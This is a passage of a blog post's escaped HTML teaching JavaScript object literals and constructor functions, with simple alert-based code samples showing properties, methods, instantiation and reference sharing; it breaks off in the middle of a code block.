&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myObject&amp;nbsp;=&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;iAm&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;an&amp;nbsp;object&#39;&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;whatAmI&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(&lt;span class=&quot;string&quot;&gt;&#39;I&amp;nbsp;am&amp;nbsp;&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    var myObject = {
        iAm : &#39;an object&#39;,
        whatAmI : function(){
            alert(&#39;I am &#39; + this.iAm);
        }
    }
&lt;/pre&gt;
For each of the objects we have created a property ‘iAm’ which contains a&lt;br /&gt; string value that is used in our objects method ‘whatAmI’ which alerts a message.&lt;br /&gt;
&lt;blockquote&gt;
Properties are variables created inside an object and methods are functions created inside an object.&lt;/blockquote&gt;
Now is probably as good a time as any to explain how to use properties and&lt;br /&gt; methods (although you would already have done so if you are familiar with a library).&lt;br /&gt;
To use a property first you type what object it belongs to – so in this case it’s myObject –&lt;br /&gt; and then to reference its internal properties, you put a full stop and then the name of the&lt;br /&gt; property so it will eventually look like myObject.iAm (this will return ‘an object’).&lt;br /&gt;
For methods, it is the same except to execute the method, as with any function, you must&lt;br /&gt; put parenthesis after it; otherwise you will just be returning a reference to the function&lt;br /&gt; and not what the function actually returns. So it will look like myObject.whatAmI()&lt;br /&gt; (this will alert ‘I am an object’).&lt;br /&gt;
&lt;h4&gt;
Now for the differences:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;The constructor object has its properties and methods defined with the&lt;br /&gt; keyword ‘this’ in front of it, whereas the literal version does not.&lt;/li&gt;
&lt;li&gt;In the constructor object the properties/methods have their ‘values’&lt;br /&gt; defined after an equal sign ‘=’ whereas in the literal version, they are&lt;br /&gt; defined after a colon ‘:’.&lt;/li&gt;
&lt;li&gt;The constructor function can have (optional) semi-colons ‘;’ at the&lt;br /&gt; end of each property/method declaration whereas in the literal version&lt;br /&gt; if you have more than one property or method, they MUST be separated with&lt;br /&gt; a comma ‘,’, and they CANNOT have semi-colons after them, otherwise JavaScript will return an error.&lt;/li&gt;
&lt;/ul&gt;
There is also a difference between the way these two types of object declarations are used.&lt;br /&gt;
To use a literally notated object, you simply use it by referencing its variable name,&lt;br /&gt; so wherever it is required you call it by typing;&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;myObject.whatAmI();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    myObject.whatAmI();
&lt;/pre&gt;
With constructor functions you need to instantiate (create a new instance of)&lt;br /&gt; the object first; you do this by typing;&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myNewObject&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;myObject();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;myNewObject.whatAmI();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    var myNewObject = new myObject();
    myNewObject.whatAmI();
&lt;/pre&gt;
&lt;h3&gt;
Using a Constructor Function.&lt;/h3&gt;
Let’s use our previous constructor function and build upon it so it performs some basic&lt;br /&gt; (but dynamic) operations when we instantiate it.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;myObject(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;an&amp;nbsp;object&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.whatAmI&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(&lt;span class=&quot;string&quot;&gt;&#39;I&amp;nbsp;am&amp;nbsp;&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    function myObject(){
        this.iAm = &#39;an object&#39;;
        this.whatAmI = function(){
            alert(&#39;I am &#39; + this.iAm);
        };
    };
&lt;/pre&gt;
Just like any JavaScript function, we can use arguments with our constructor function;&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;myObject(what){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm&amp;nbsp;=&amp;nbsp;what;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.whatAmI&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(language){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(&lt;span class=&quot;string&quot;&gt;&#39;I&amp;nbsp;am&amp;nbsp;&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;of&amp;nbsp;the&amp;nbsp;&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;language&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;language&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;function myObject(what){
 this.iAm = what;
 this.whatAmI = function(language){
  alert(&#39;I am &#39; + this.iAm + &#39; of the &#39; + language + &#39; language&#39;);
 };
};
&lt;/pre&gt;
Now let’s instantiate our object and call its whatAmI method, filling in the required&lt;br /&gt; fields as we do so.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myNewObject&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;myObject(&lt;span class=&quot;string&quot;&gt;&#39;an&amp;nbsp;object&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;myNewObject.whatAmI(&lt;span class=&quot;string&quot;&gt;&#39;JavaScript&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    var myNewObject = new myObject(&#39;an object&#39;);
    myNewObject.whatAmI(&#39;JavaScript&#39;);
&lt;/pre&gt;
This will alert ‘I am an object of the JavaScript language.’&lt;br /&gt;
&lt;h3&gt;
To Instantiate or not to Instantiate&lt;/h3&gt;
I mentioned earlier about the differences between Object Constructors and Object Literals and that&lt;br /&gt; when a change is made to an Object Literal it affects that object across the entire script, whereas when&lt;br /&gt; a Constructor function is instantiated and then a change is made to that instance, it won’t affect any&lt;br /&gt; other instances of that object. Let’s try an example;&lt;br /&gt;
First we will create an Object literal;&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myObjectLiteral&amp;nbsp;=&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;myProperty&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(myObjectLiteral.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//change&amp;nbsp;myProperty&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;myObjectLiteral.myProperty&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;new&amp;nbsp;property&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(myObjectLiteral.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;new&amp;nbsp;property&#39;,&amp;nbsp;as&amp;nbsp;expected&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt; var myObjectLiteral = {
     myProperty : &#39;this is a property&#39;
    }
    //alert current myProperty
    alert(myObjectLiteral.myProperty); //this will alert &#39;this is a property&#39;
    //change myProperty
    myObjectLiteral.myProperty = &#39;this is a new property&#39;;
    //alert current myProperty
    alert(myObjectLiteral.myProperty); //this will alert &#39;this is a new property&#39;, as expected
&lt;/pre&gt;
Even if you create a new variable and point it towards the object, it will have the same effect.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myObjectLiteral&amp;nbsp;=&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;myProperty&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(myObjectLiteral.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//define&amp;nbsp;new&amp;nbsp;variable&amp;nbsp;with&amp;nbsp;object&amp;nbsp;as&amp;nbsp;value&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;sameObject&amp;nbsp;=&amp;nbsp;myObjectLiteral;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//change&amp;nbsp;myProperty&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;myObjectLiteral.myProperty&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;new&amp;nbsp;property&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(sameObject.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;still&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;new&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt; var myObjectLiteral = {
     myProperty : &#39;this is a property&#39;
    }
    //alert current myProperty
    alert(myObjectLiteral.myProperty); //this will alert &#39;this is a property&#39;
    //define new variable with object as value
    var sameObject = myObjectLiteral;
    //change myProperty
    myObjectLiteral.myProperty = &#39;this is a new property&#39;;
    //alert current myProperty
    alert(sameObject.myProperty); //this will still alert &#39;this is a new property&#39;
&lt;/pre&gt;
Now let’s try a similar exercise with a Constructor function.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;is&amp;nbsp;one&amp;nbsp;other&amp;nbsp;way&amp;nbsp;of&amp;nbsp;creating&amp;nbsp;a&amp;nbsp;Constructor&amp;nbsp;function&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myObjectConstructor&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.myProperty&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//instantiate&amp;nbsp;our&amp;nbsp;Constructor&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;constructorOne&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;myObjectConstructor();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//instantiate&amp;nbsp;a&amp;nbsp;second&amp;nbsp;instance&amp;nbsp;of&amp;nbsp;our&amp;nbsp;Constructor&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;constructorTwo&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;myObjectConstructor();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&amp;nbsp;of&amp;nbsp;constructorOne&amp;nbsp;instance&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
